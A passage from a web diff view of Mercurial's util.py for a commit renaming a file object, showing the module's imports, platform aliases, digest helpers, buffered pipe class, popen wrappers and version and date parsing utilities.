##// END OF EJS Templates
checknlink: rename file object from 'fd' to 'fp'...
Jun Wu -
r34086:6c5cdb02 default
parent child Browse files
Show More
@@ -1,3770 +1,3769
1 # util.py - Mercurial utility functions and platform specific implementations
1 # util.py - Mercurial utility functions and platform specific implementations
2 #
2 #
3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
6 #
6 #
7 # This software may be used and distributed according to the terms of the
7 # This software may be used and distributed according to the terms of the
8 # GNU General Public License version 2 or any later version.
8 # GNU General Public License version 2 or any later version.
9
9
10 """Mercurial utility functions and platform specific implementations.
10 """Mercurial utility functions and platform specific implementations.
11
11
12 This contains helper routines that are independent of the SCM core and
12 This contains helper routines that are independent of the SCM core and
13 hide platform-specific details from the core.
13 hide platform-specific details from the core.
14 """
14 """
15
15
16 from __future__ import absolute_import
16 from __future__ import absolute_import
17
17
18 import abc
18 import abc
19 import bz2
19 import bz2
20 import calendar
20 import calendar
21 import codecs
21 import codecs
22 import collections
22 import collections
23 import contextlib
23 import contextlib
24 import datetime
24 import datetime
25 import errno
25 import errno
26 import gc
26 import gc
27 import hashlib
27 import hashlib
28 import imp
28 import imp
29 import os
29 import os
30 import platform as pyplatform
30 import platform as pyplatform
31 import re as remod
31 import re as remod
32 import shutil
32 import shutil
33 import signal
33 import signal
34 import socket
34 import socket
35 import stat
35 import stat
36 import string
36 import string
37 import subprocess
37 import subprocess
38 import sys
38 import sys
39 import tempfile
39 import tempfile
40 import textwrap
40 import textwrap
41 import time
41 import time
42 import traceback
42 import traceback
43 import warnings
43 import warnings
44 import zlib
44 import zlib
45
45
46 from . import (
46 from . import (
47 encoding,
47 encoding,
48 error,
48 error,
49 i18n,
49 i18n,
50 policy,
50 policy,
51 pycompat,
51 pycompat,
52 )
52 )
53
53
54 base85 = policy.importmod(r'base85')
54 base85 = policy.importmod(r'base85')
55 osutil = policy.importmod(r'osutil')
55 osutil = policy.importmod(r'osutil')
56 parsers = policy.importmod(r'parsers')
56 parsers = policy.importmod(r'parsers')
57
57
58 b85decode = base85.b85decode
58 b85decode = base85.b85decode
59 b85encode = base85.b85encode
59 b85encode = base85.b85encode
60
60
61 cookielib = pycompat.cookielib
61 cookielib = pycompat.cookielib
62 empty = pycompat.empty
62 empty = pycompat.empty
63 httplib = pycompat.httplib
63 httplib = pycompat.httplib
64 httpserver = pycompat.httpserver
64 httpserver = pycompat.httpserver
65 pickle = pycompat.pickle
65 pickle = pycompat.pickle
66 queue = pycompat.queue
66 queue = pycompat.queue
67 socketserver = pycompat.socketserver
67 socketserver = pycompat.socketserver
68 stderr = pycompat.stderr
68 stderr = pycompat.stderr
69 stdin = pycompat.stdin
69 stdin = pycompat.stdin
70 stdout = pycompat.stdout
70 stdout = pycompat.stdout
71 stringio = pycompat.stringio
71 stringio = pycompat.stringio
72 urlerr = pycompat.urlerr
72 urlerr = pycompat.urlerr
73 urlreq = pycompat.urlreq
73 urlreq = pycompat.urlreq
74 xmlrpclib = pycompat.xmlrpclib
74 xmlrpclib = pycompat.xmlrpclib
75
75
76 # workaround for win32mbcs
76 # workaround for win32mbcs
77 _filenamebytestr = pycompat.bytestr
77 _filenamebytestr = pycompat.bytestr
78
78
79 def isatty(fp):
79 def isatty(fp):
80 try:
80 try:
81 return fp.isatty()
81 return fp.isatty()
82 except AttributeError:
82 except AttributeError:
83 return False
83 return False
84
84
85 # glibc determines buffering on first write to stdout - if we replace a TTY
85 # glibc determines buffering on first write to stdout - if we replace a TTY
86 # destined stdout with a pipe destined stdout (e.g. pager), we want line
86 # destined stdout with a pipe destined stdout (e.g. pager), we want line
87 # buffering
87 # buffering
88 if isatty(stdout):
88 if isatty(stdout):
89 stdout = os.fdopen(stdout.fileno(), pycompat.sysstr('wb'), 1)
89 stdout = os.fdopen(stdout.fileno(), pycompat.sysstr('wb'), 1)
90
90
91 if pycompat.osname == 'nt':
91 if pycompat.osname == 'nt':
92 from . import windows as platform
92 from . import windows as platform
93 stdout = platform.winstdout(stdout)
93 stdout = platform.winstdout(stdout)
94 else:
94 else:
95 from . import posix as platform
95 from . import posix as platform
96
96
97 _ = i18n._
97 _ = i18n._
98
98
99 bindunixsocket = platform.bindunixsocket
99 bindunixsocket = platform.bindunixsocket
100 cachestat = platform.cachestat
100 cachestat = platform.cachestat
101 checkexec = platform.checkexec
101 checkexec = platform.checkexec
102 checklink = platform.checklink
102 checklink = platform.checklink
103 copymode = platform.copymode
103 copymode = platform.copymode
104 executablepath = platform.executablepath
104 executablepath = platform.executablepath
105 expandglobs = platform.expandglobs
105 expandglobs = platform.expandglobs
106 explainexit = platform.explainexit
106 explainexit = platform.explainexit
107 findexe = platform.findexe
107 findexe = platform.findexe
108 gethgcmd = platform.gethgcmd
108 gethgcmd = platform.gethgcmd
109 getuser = platform.getuser
109 getuser = platform.getuser
110 getpid = os.getpid
110 getpid = os.getpid
111 groupmembers = platform.groupmembers
111 groupmembers = platform.groupmembers
112 groupname = platform.groupname
112 groupname = platform.groupname
113 hidewindow = platform.hidewindow
113 hidewindow = platform.hidewindow
114 isexec = platform.isexec
114 isexec = platform.isexec
115 isowner = platform.isowner
115 isowner = platform.isowner
116 listdir = osutil.listdir
116 listdir = osutil.listdir
117 localpath = platform.localpath
117 localpath = platform.localpath
118 lookupreg = platform.lookupreg
118 lookupreg = platform.lookupreg
119 makedir = platform.makedir
119 makedir = platform.makedir
120 nlinks = platform.nlinks
120 nlinks = platform.nlinks
121 normpath = platform.normpath
121 normpath = platform.normpath
122 normcase = platform.normcase
122 normcase = platform.normcase
123 normcasespec = platform.normcasespec
123 normcasespec = platform.normcasespec
124 normcasefallback = platform.normcasefallback
124 normcasefallback = platform.normcasefallback
125 openhardlinks = platform.openhardlinks
125 openhardlinks = platform.openhardlinks
126 oslink = platform.oslink
126 oslink = platform.oslink
127 parsepatchoutput = platform.parsepatchoutput
127 parsepatchoutput = platform.parsepatchoutput
128 pconvert = platform.pconvert
128 pconvert = platform.pconvert
129 poll = platform.poll
129 poll = platform.poll
130 popen = platform.popen
130 popen = platform.popen
131 posixfile = platform.posixfile
131 posixfile = platform.posixfile
132 quotecommand = platform.quotecommand
132 quotecommand = platform.quotecommand
133 readpipe = platform.readpipe
133 readpipe = platform.readpipe
134 rename = platform.rename
134 rename = platform.rename
135 removedirs = platform.removedirs
135 removedirs = platform.removedirs
136 samedevice = platform.samedevice
136 samedevice = platform.samedevice
137 samefile = platform.samefile
137 samefile = platform.samefile
138 samestat = platform.samestat
138 samestat = platform.samestat
139 setbinary = platform.setbinary
139 setbinary = platform.setbinary
140 setflags = platform.setflags
140 setflags = platform.setflags
141 setsignalhandler = platform.setsignalhandler
141 setsignalhandler = platform.setsignalhandler
142 shellquote = platform.shellquote
142 shellquote = platform.shellquote
143 spawndetached = platform.spawndetached
143 spawndetached = platform.spawndetached
144 split = platform.split
144 split = platform.split
145 sshargs = platform.sshargs
145 sshargs = platform.sshargs
146 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
146 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
147 statisexec = platform.statisexec
147 statisexec = platform.statisexec
148 statislink = platform.statislink
148 statislink = platform.statislink
149 testpid = platform.testpid
149 testpid = platform.testpid
150 umask = platform.umask
150 umask = platform.umask
151 unlink = platform.unlink
151 unlink = platform.unlink
152 username = platform.username
152 username = platform.username
153
153
154 try:
154 try:
155 recvfds = osutil.recvfds
155 recvfds = osutil.recvfds
156 except AttributeError:
156 except AttributeError:
157 pass
157 pass
158 try:
158 try:
159 setprocname = osutil.setprocname
159 setprocname = osutil.setprocname
160 except AttributeError:
160 except AttributeError:
161 pass
161 pass
162
162
163 # Python compatibility
163 # Python compatibility
164
164
165 _notset = object()
165 _notset = object()
166
166
167 # disable Python's problematic floating point timestamps (issue4836)
167 # disable Python's problematic floating point timestamps (issue4836)
168 # (Python hypocritically says you shouldn't change this behavior in
168 # (Python hypocritically says you shouldn't change this behavior in
169 # libraries, and sure enough Mercurial is not a library.)
169 # libraries, and sure enough Mercurial is not a library.)
170 os.stat_float_times(False)
170 os.stat_float_times(False)
171
171
172 def safehasattr(thing, attr):
172 def safehasattr(thing, attr):
173 return getattr(thing, attr, _notset) is not _notset
173 return getattr(thing, attr, _notset) is not _notset
174
174
175 def bytesinput(fin, fout, *args, **kwargs):
175 def bytesinput(fin, fout, *args, **kwargs):
176 sin, sout = sys.stdin, sys.stdout
176 sin, sout = sys.stdin, sys.stdout
177 try:
177 try:
178 sys.stdin, sys.stdout = encoding.strio(fin), encoding.strio(fout)
178 sys.stdin, sys.stdout = encoding.strio(fin), encoding.strio(fout)
179 return encoding.strtolocal(pycompat.rawinput(*args, **kwargs))
179 return encoding.strtolocal(pycompat.rawinput(*args, **kwargs))
180 finally:
180 finally:
181 sys.stdin, sys.stdout = sin, sout
181 sys.stdin, sys.stdout = sin, sout
182
182
183 def bitsfrom(container):
183 def bitsfrom(container):
184 bits = 0
184 bits = 0
185 for bit in container:
185 for bit in container:
186 bits |= bit
186 bits |= bit
187 return bits
187 return bits
188
188
189 # python 2.6 still have deprecation warning enabled by default. We do not want
189 # python 2.6 still have deprecation warning enabled by default. We do not want
190 # to display anything to standard user so detect if we are running test and
190 # to display anything to standard user so detect if we are running test and
191 # only use python deprecation warning in this case.
191 # only use python deprecation warning in this case.
192 _dowarn = bool(encoding.environ.get('HGEMITWARNINGS'))
192 _dowarn = bool(encoding.environ.get('HGEMITWARNINGS'))
193 if _dowarn:
193 if _dowarn:
194 # explicitly unfilter our warning for python 2.7
194 # explicitly unfilter our warning for python 2.7
195 #
195 #
196 # The option of setting PYTHONWARNINGS in the test runner was investigated.
196 # The option of setting PYTHONWARNINGS in the test runner was investigated.
197 # However, module name set through PYTHONWARNINGS was exactly matched, so
197 # However, module name set through PYTHONWARNINGS was exactly matched, so
198 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
198 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
199 # makes the whole PYTHONWARNINGS thing useless for our usecase.
199 # makes the whole PYTHONWARNINGS thing useless for our usecase.
200 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial')
200 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial')
201 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext')
201 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext')
202 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd')
202 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd')
203
203
204 def nouideprecwarn(msg, version, stacklevel=1):
204 def nouideprecwarn(msg, version, stacklevel=1):
205 """Issue an python native deprecation warning
205 """Issue an python native deprecation warning
206
206
207 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
207 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
208 """
208 """
209 if _dowarn:
209 if _dowarn:
210 msg += ("\n(compatibility will be dropped after Mercurial-%s,"
210 msg += ("\n(compatibility will be dropped after Mercurial-%s,"
211 " update your code.)") % version
211 " update your code.)") % version
212 warnings.warn(msg, DeprecationWarning, stacklevel + 1)
212 warnings.warn(msg, DeprecationWarning, stacklevel + 1)
213
213
214 DIGESTS = {
214 DIGESTS = {
215 'md5': hashlib.md5,
215 'md5': hashlib.md5,
216 'sha1': hashlib.sha1,
216 'sha1': hashlib.sha1,
217 'sha512': hashlib.sha512,
217 'sha512': hashlib.sha512,
218 }
218 }
219 # List of digest types from strongest to weakest
219 # List of digest types from strongest to weakest
220 DIGESTS_BY_STRENGTH = ['sha512', 'sha1', 'md5']
220 DIGESTS_BY_STRENGTH = ['sha512', 'sha1', 'md5']
221
221
222 for k in DIGESTS_BY_STRENGTH:
222 for k in DIGESTS_BY_STRENGTH:
223 assert k in DIGESTS
223 assert k in DIGESTS
224
224
225 class digester(object):
225 class digester(object):
226 """helper to compute digests.
226 """helper to compute digests.
227
227
228 This helper can be used to compute one or more digests given their name.
228 This helper can be used to compute one or more digests given their name.
229
229
230 >>> d = digester(['md5', 'sha1'])
230 >>> d = digester(['md5', 'sha1'])
231 >>> d.update('foo')
231 >>> d.update('foo')
232 >>> [k for k in sorted(d)]
232 >>> [k for k in sorted(d)]
233 ['md5', 'sha1']
233 ['md5', 'sha1']
234 >>> d['md5']
234 >>> d['md5']
235 'acbd18db4cc2f85cedef654fccc4a4d8'
235 'acbd18db4cc2f85cedef654fccc4a4d8'
236 >>> d['sha1']
236 >>> d['sha1']
237 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
237 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
238 >>> digester.preferred(['md5', 'sha1'])
238 >>> digester.preferred(['md5', 'sha1'])
239 'sha1'
239 'sha1'
240 """
240 """
241
241
242 def __init__(self, digests, s=''):
242 def __init__(self, digests, s=''):
243 self._hashes = {}
243 self._hashes = {}
244 for k in digests:
244 for k in digests:
245 if k not in DIGESTS:
245 if k not in DIGESTS:
246 raise Abort(_('unknown digest type: %s') % k)
246 raise Abort(_('unknown digest type: %s') % k)
247 self._hashes[k] = DIGESTS[k]()
247 self._hashes[k] = DIGESTS[k]()
248 if s:
248 if s:
249 self.update(s)
249 self.update(s)
250
250
251 def update(self, data):
251 def update(self, data):
252 for h in self._hashes.values():
252 for h in self._hashes.values():
253 h.update(data)
253 h.update(data)
254
254
255 def __getitem__(self, key):
255 def __getitem__(self, key):
256 if key not in DIGESTS:
256 if key not in DIGESTS:
257 raise Abort(_('unknown digest type: %s') % k)
257 raise Abort(_('unknown digest type: %s') % k)
258 return self._hashes[key].hexdigest()
258 return self._hashes[key].hexdigest()
259
259
260 def __iter__(self):
260 def __iter__(self):
261 return iter(self._hashes)
261 return iter(self._hashes)
262
262
263 @staticmethod
263 @staticmethod
264 def preferred(supported):
264 def preferred(supported):
265 """returns the strongest digest type in both supported and DIGESTS."""
265 """returns the strongest digest type in both supported and DIGESTS."""
266
266
267 for k in DIGESTS_BY_STRENGTH:
267 for k in DIGESTS_BY_STRENGTH:
268 if k in supported:
268 if k in supported:
269 return k
269 return k
270 return None
270 return None
271
271
272 class digestchecker(object):
272 class digestchecker(object):
273 """file handle wrapper that additionally checks content against a given
273 """file handle wrapper that additionally checks content against a given
274 size and digests.
274 size and digests.
275
275
276 d = digestchecker(fh, size, {'md5': '...'})
276 d = digestchecker(fh, size, {'md5': '...'})
277
277
278 When multiple digests are given, all of them are validated.
278 When multiple digests are given, all of them are validated.
279 """
279 """
280
280
281 def __init__(self, fh, size, digests):
281 def __init__(self, fh, size, digests):
282 self._fh = fh
282 self._fh = fh
283 self._size = size
283 self._size = size
284 self._got = 0
284 self._got = 0
285 self._digests = dict(digests)
285 self._digests = dict(digests)
286 self._digester = digester(self._digests.keys())
286 self._digester = digester(self._digests.keys())
287
287
288 def read(self, length=-1):
288 def read(self, length=-1):
289 content = self._fh.read(length)
289 content = self._fh.read(length)
290 self._digester.update(content)
290 self._digester.update(content)
291 self._got += len(content)
291 self._got += len(content)
292 return content
292 return content
293
293
294 def validate(self):
294 def validate(self):
295 if self._size != self._got:
295 if self._size != self._got:
296 raise Abort(_('size mismatch: expected %d, got %d') %
296 raise Abort(_('size mismatch: expected %d, got %d') %
297 (self._size, self._got))
297 (self._size, self._got))
298 for k, v in self._digests.items():
298 for k, v in self._digests.items():
299 if v != self._digester[k]:
299 if v != self._digester[k]:
300 # i18n: first parameter is a digest name
300 # i18n: first parameter is a digest name
301 raise Abort(_('%s mismatch: expected %s, got %s') %
301 raise Abort(_('%s mismatch: expected %s, got %s') %
302 (k, v, self._digester[k]))
302 (k, v, self._digester[k]))
303
303
304 try:
304 try:
305 buffer = buffer
305 buffer = buffer
306 except NameError:
306 except NameError:
307 def buffer(sliceable, offset=0, length=None):
307 def buffer(sliceable, offset=0, length=None):
308 if length is not None:
308 if length is not None:
309 return memoryview(sliceable)[offset:offset + length]
309 return memoryview(sliceable)[offset:offset + length]
310 return memoryview(sliceable)[offset:]
310 return memoryview(sliceable)[offset:]
311
311
312 closefds = pycompat.osname == 'posix'
312 closefds = pycompat.osname == 'posix'
313
313
314 _chunksize = 4096
314 _chunksize = 4096
315
315
316 class bufferedinputpipe(object):
316 class bufferedinputpipe(object):
317 """a manually buffered input pipe
317 """a manually buffered input pipe
318
318
319 Python will not let us use buffered IO and lazy reading with 'polling' at
319 Python will not let us use buffered IO and lazy reading with 'polling' at
320 the same time. We cannot probe the buffer state and select will not detect
320 the same time. We cannot probe the buffer state and select will not detect
321 that data are ready to read if they are already buffered.
321 that data are ready to read if they are already buffered.
322
322
323 This class let us work around that by implementing its own buffering
323 This class let us work around that by implementing its own buffering
324 (allowing efficient readline) while offering a way to know if the buffer is
324 (allowing efficient readline) while offering a way to know if the buffer is
325 empty from the output (allowing collaboration of the buffer with polling).
325 empty from the output (allowing collaboration of the buffer with polling).
326
326
327 This class lives in the 'util' module because it makes use of the 'os'
327 This class lives in the 'util' module because it makes use of the 'os'
328 module from the python stdlib.
328 module from the python stdlib.
329 """
329 """
330
330
331 def __init__(self, input):
331 def __init__(self, input):
332 self._input = input
332 self._input = input
333 self._buffer = []
333 self._buffer = []
334 self._eof = False
334 self._eof = False
335 self._lenbuf = 0
335 self._lenbuf = 0
336
336
337 @property
337 @property
338 def hasbuffer(self):
338 def hasbuffer(self):
339 """True is any data is currently buffered
339 """True is any data is currently buffered
340
340
341 This will be used externally a pre-step for polling IO. If there is
341 This will be used externally a pre-step for polling IO. If there is
342 already data then no polling should be set in place."""
342 already data then no polling should be set in place."""
343 return bool(self._buffer)
343 return bool(self._buffer)
344
344
345 @property
345 @property
346 def closed(self):
346 def closed(self):
347 return self._input.closed
347 return self._input.closed
348
348
349 def fileno(self):
349 def fileno(self):
350 return self._input.fileno()
350 return self._input.fileno()
351
351
352 def close(self):
352 def close(self):
353 return self._input.close()
353 return self._input.close()
354
354
355 def read(self, size):
355 def read(self, size):
356 while (not self._eof) and (self._lenbuf < size):
356 while (not self._eof) and (self._lenbuf < size):
357 self._fillbuffer()
357 self._fillbuffer()
358 return self._frombuffer(size)
358 return self._frombuffer(size)
359
359
360 def readline(self, *args, **kwargs):
360 def readline(self, *args, **kwargs):
361 if 1 < len(self._buffer):
361 if 1 < len(self._buffer):
362 # this should not happen because both read and readline end with a
362 # this should not happen because both read and readline end with a
363 # _frombuffer call that collapse it.
363 # _frombuffer call that collapse it.
364 self._buffer = [''.join(self._buffer)]
364 self._buffer = [''.join(self._buffer)]
365 self._lenbuf = len(self._buffer[0])
365 self._lenbuf = len(self._buffer[0])
366 lfi = -1
366 lfi = -1
367 if self._buffer:
367 if self._buffer:
368 lfi = self._buffer[-1].find('\n')
368 lfi = self._buffer[-1].find('\n')
369 while (not self._eof) and lfi < 0:
369 while (not self._eof) and lfi < 0:
370 self._fillbuffer()
370 self._fillbuffer()
371 if self._buffer:
371 if self._buffer:
372 lfi = self._buffer[-1].find('\n')
372 lfi = self._buffer[-1].find('\n')
373 size = lfi + 1
373 size = lfi + 1
374 if lfi < 0: # end of file
374 if lfi < 0: # end of file
375 size = self._lenbuf
375 size = self._lenbuf
376 elif 1 < len(self._buffer):
376 elif 1 < len(self._buffer):
377 # we need to take previous chunks into account
377 # we need to take previous chunks into account
378 size += self._lenbuf - len(self._buffer[-1])
378 size += self._lenbuf - len(self._buffer[-1])
379 return self._frombuffer(size)
379 return self._frombuffer(size)
380
380
381 def _frombuffer(self, size):
381 def _frombuffer(self, size):
382 """return at most 'size' data from the buffer
382 """return at most 'size' data from the buffer
383
383
384 The data are removed from the buffer."""
384 The data are removed from the buffer."""
385 if size == 0 or not self._buffer:
385 if size == 0 or not self._buffer:
386 return ''
386 return ''
387 buf = self._buffer[0]
387 buf = self._buffer[0]
388 if 1 < len(self._buffer):
388 if 1 < len(self._buffer):
389 buf = ''.join(self._buffer)
389 buf = ''.join(self._buffer)
390
390
391 data = buf[:size]
391 data = buf[:size]
392 buf = buf[len(data):]
392 buf = buf[len(data):]
393 if buf:
393 if buf:
394 self._buffer = [buf]
394 self._buffer = [buf]
395 self._lenbuf = len(buf)
395 self._lenbuf = len(buf)
396 else:
396 else:
397 self._buffer = []
397 self._buffer = []
398 self._lenbuf = 0
398 self._lenbuf = 0
399 return data
399 return data
400
400
401 def _fillbuffer(self):
401 def _fillbuffer(self):
402 """read data to the buffer"""
402 """read data to the buffer"""
403 data = os.read(self._input.fileno(), _chunksize)
403 data = os.read(self._input.fileno(), _chunksize)
404 if not data:
404 if not data:
405 self._eof = True
405 self._eof = True
406 else:
406 else:
407 self._lenbuf += len(data)
407 self._lenbuf += len(data)
408 self._buffer.append(data)
408 self._buffer.append(data)
409
409
410 def popen2(cmd, env=None, newlines=False):
410 def popen2(cmd, env=None, newlines=False):
411 # Setting bufsize to -1 lets the system decide the buffer size.
411 # Setting bufsize to -1 lets the system decide the buffer size.
412 # The default for bufsize is 0, meaning unbuffered. This leads to
412 # The default for bufsize is 0, meaning unbuffered. This leads to
413 # poor performance on Mac OS X: http://bugs.python.org/issue4194
413 # poor performance on Mac OS X: http://bugs.python.org/issue4194
414 p = subprocess.Popen(cmd, shell=True, bufsize=-1,
414 p = subprocess.Popen(cmd, shell=True, bufsize=-1,
415 close_fds=closefds,
415 close_fds=closefds,
416 stdin=subprocess.PIPE, stdout=subprocess.PIPE,
416 stdin=subprocess.PIPE, stdout=subprocess.PIPE,
417 universal_newlines=newlines,
417 universal_newlines=newlines,
418 env=env)
418 env=env)
419 return p.stdin, p.stdout
419 return p.stdin, p.stdout
420
420
421 def popen3(cmd, env=None, newlines=False):
421 def popen3(cmd, env=None, newlines=False):
422 stdin, stdout, stderr, p = popen4(cmd, env, newlines)
422 stdin, stdout, stderr, p = popen4(cmd, env, newlines)
423 return stdin, stdout, stderr
423 return stdin, stdout, stderr
424
424
425 def popen4(cmd, env=None, newlines=False, bufsize=-1):
425 def popen4(cmd, env=None, newlines=False, bufsize=-1):
426 p = subprocess.Popen(cmd, shell=True, bufsize=bufsize,
426 p = subprocess.Popen(cmd, shell=True, bufsize=bufsize,
427 close_fds=closefds,
427 close_fds=closefds,
428 stdin=subprocess.PIPE, stdout=subprocess.PIPE,
428 stdin=subprocess.PIPE, stdout=subprocess.PIPE,
429 stderr=subprocess.PIPE,
429 stderr=subprocess.PIPE,
430 universal_newlines=newlines,
430 universal_newlines=newlines,
431 env=env)
431 env=env)
432 return p.stdin, p.stdout, p.stderr, p
432 return p.stdin, p.stdout, p.stderr, p
433
433
434 def version():
434 def version():
435 """Return version information if available."""
435 """Return version information if available."""
436 try:
436 try:
437 from . import __version__
437 from . import __version__
438 return __version__.version
438 return __version__.version
439 except ImportError:
439 except ImportError:
440 return 'unknown'
440 return 'unknown'
441
441
442 def versiontuple(v=None, n=4):
442 def versiontuple(v=None, n=4):
443 """Parses a Mercurial version string into an N-tuple.
443 """Parses a Mercurial version string into an N-tuple.
444
444
445 The version string to be parsed is specified with the ``v`` argument.
445 The version string to be parsed is specified with the ``v`` argument.
446 If it isn't defined, the current Mercurial version string will be parsed.
446 If it isn't defined, the current Mercurial version string will be parsed.
447
447
448 ``n`` can be 2, 3, or 4. Here is how some version strings map to
448 ``n`` can be 2, 3, or 4. Here is how some version strings map to
449 returned values:
449 returned values:
450
450
451 >>> v = '3.6.1+190-df9b73d2d444'
451 >>> v = '3.6.1+190-df9b73d2d444'
452 >>> versiontuple(v, 2)
452 >>> versiontuple(v, 2)
453 (3, 6)
453 (3, 6)
454 >>> versiontuple(v, 3)
454 >>> versiontuple(v, 3)
455 (3, 6, 1)
455 (3, 6, 1)
456 >>> versiontuple(v, 4)
456 >>> versiontuple(v, 4)
457 (3, 6, 1, '190-df9b73d2d444')
457 (3, 6, 1, '190-df9b73d2d444')
458
458
459 >>> versiontuple('3.6.1+190-df9b73d2d444+20151118')
459 >>> versiontuple('3.6.1+190-df9b73d2d444+20151118')
460 (3, 6, 1, '190-df9b73d2d444+20151118')
460 (3, 6, 1, '190-df9b73d2d444+20151118')
461
461
462 >>> v = '3.6'
462 >>> v = '3.6'
463 >>> versiontuple(v, 2)
463 >>> versiontuple(v, 2)
464 (3, 6)
464 (3, 6)
465 >>> versiontuple(v, 3)
465 >>> versiontuple(v, 3)
466 (3, 6, None)
466 (3, 6, None)
467 >>> versiontuple(v, 4)
467 >>> versiontuple(v, 4)
468 (3, 6, None, None)
468 (3, 6, None, None)
469
469
470 >>> v = '3.9-rc'
470 >>> v = '3.9-rc'
471 >>> versiontuple(v, 2)
471 >>> versiontuple(v, 2)
472 (3, 9)
472 (3, 9)
473 >>> versiontuple(v, 3)
473 >>> versiontuple(v, 3)
474 (3, 9, None)
474 (3, 9, None)
475 >>> versiontuple(v, 4)
475 >>> versiontuple(v, 4)
476 (3, 9, None, 'rc')
476 (3, 9, None, 'rc')
477
477
478 >>> v = '3.9-rc+2-02a8fea4289b'
478 >>> v = '3.9-rc+2-02a8fea4289b'
479 >>> versiontuple(v, 2)
479 >>> versiontuple(v, 2)
480 (3, 9)
480 (3, 9)
481 >>> versiontuple(v, 3)
481 >>> versiontuple(v, 3)
482 (3, 9, None)
482 (3, 9, None)
483 >>> versiontuple(v, 4)
483 >>> versiontuple(v, 4)
484 (3, 9, None, 'rc+2-02a8fea4289b')
484 (3, 9, None, 'rc+2-02a8fea4289b')
485 """
485 """
486 if not v:
486 if not v:
487 v = version()
487 v = version()
488 parts = remod.split('[\+-]', v, 1)
488 parts = remod.split('[\+-]', v, 1)
489 if len(parts) == 1:
489 if len(parts) == 1:
490 vparts, extra = parts[0], None
490 vparts, extra = parts[0], None
491 else:
491 else:
492 vparts, extra = parts
492 vparts, extra = parts
493
493
494 vints = []
494 vints = []
495 for i in vparts.split('.'):
495 for i in vparts.split('.'):
496 try:
496 try:
497 vints.append(int(i))
497 vints.append(int(i))
498 except ValueError:
498 except ValueError:
499 break
499 break
500 # (3, 6) -> (3, 6, None)
500 # (3, 6) -> (3, 6, None)
501 while len(vints) < 3:
501 while len(vints) < 3:
502 vints.append(None)
502 vints.append(None)
503
503
504 if n == 2:
504 if n == 2:
505 return (vints[0], vints[1])
505 return (vints[0], vints[1])
506 if n == 3:
506 if n == 3:
507 return (vints[0], vints[1], vints[2])
507 return (vints[0], vints[1], vints[2])
508 if n == 4:
508 if n == 4:
509 return (vints[0], vints[1], vints[2], extra)
509 return (vints[0], vints[1], vints[2], extra)
510
510
511 # used by parsedate
511 # used by parsedate
512 defaultdateformats = (
512 defaultdateformats = (
513 '%Y-%m-%dT%H:%M:%S', # the 'real' ISO8601
513 '%Y-%m-%dT%H:%M:%S', # the 'real' ISO8601
514 '%Y-%m-%dT%H:%M', # without seconds
514 '%Y-%m-%dT%H:%M', # without seconds
515 '%Y-%m-%dT%H%M%S', # another awful but legal variant without :
515 '%Y-%m-%dT%H%M%S', # another awful but legal variant without :
516 '%Y-%m-%dT%H%M', # without seconds
516 '%Y-%m-%dT%H%M', # without seconds
517 '%Y-%m-%d %H:%M:%S', # our common legal variant
517 '%Y-%m-%d %H:%M:%S', # our common legal variant
518 '%Y-%m-%d %H:%M', # without seconds
518 '%Y-%m-%d %H:%M', # without seconds
519 '%Y-%m-%d %H%M%S', # without :
519 '%Y-%m-%d %H%M%S', # without :
520 '%Y-%m-%d %H%M', # without seconds
520 '%Y-%m-%d %H%M', # without seconds
521 '%Y-%m-%d %I:%M:%S%p',
521 '%Y-%m-%d %I:%M:%S%p',
522 '%Y-%m-%d %H:%M',
522 '%Y-%m-%d %H:%M',
523 '%Y-%m-%d %I:%M%p',
523 '%Y-%m-%d %I:%M%p',
524 '%Y-%m-%d',
524 '%Y-%m-%d',
525 '%m-%d',
525 '%m-%d',
526 '%m/%d',
526 '%m/%d',
527 '%m/%d/%y',
527 '%m/%d/%y',
528 '%m/%d/%Y',
528 '%m/%d/%Y',
529 '%a %b %d %H:%M:%S %Y',
529 '%a %b %d %H:%M:%S %Y',
530 '%a %b %d %I:%M:%S%p %Y',
530 '%a %b %d %I:%M:%S%p %Y',
531 '%a, %d %b %Y %H:%M:%S', # GNU coreutils "/bin/date --rfc-2822"
531 '%a, %d %b %Y %H:%M:%S', # GNU coreutils "/bin/date --rfc-2822"
532 '%b %d %H:%M:%S %Y',
532 '%b %d %H:%M:%S %Y',
533 '%b %d %I:%M:%S%p %Y',
533 '%b %d %I:%M:%S%p %Y',
534 '%b %d %H:%M:%S',
534 '%b %d %H:%M:%S',
535 '%b %d %I:%M:%S%p',
535 '%b %d %I:%M:%S%p',
536 '%b %d %H:%M',
536 '%b %d %H:%M',
537 '%b %d %I:%M%p',
537 '%b %d %I:%M%p',
538 '%b %d %Y',
538 '%b %d %Y',
539 '%b %d',
539 '%b %d',
540 '%H:%M:%S',
540 '%H:%M:%S',
541 '%I:%M:%S%p',
541 '%I:%M:%S%p',
542 '%H:%M',
542 '%H:%M',
543 '%I:%M%p',
543 '%I:%M%p',
544 )
544 )
545
545
546 extendeddateformats = defaultdateformats + (
546 extendeddateformats = defaultdateformats + (
547 "%Y",
547 "%Y",
548 "%Y-%m",
548 "%Y-%m",
549 "%b",
549 "%b",
550 "%b %Y",
550 "%b %Y",
551 )
551 )
552
552
553 def cachefunc(func):
553 def cachefunc(func):
554 '''cache the result of function calls'''
554 '''cache the result of function calls'''
555 # XXX doesn't handle keywords args
555 # XXX doesn't handle keywords args
556 if func.__code__.co_argcount == 0:
556 if func.__code__.co_argcount == 0:
557 cache = []
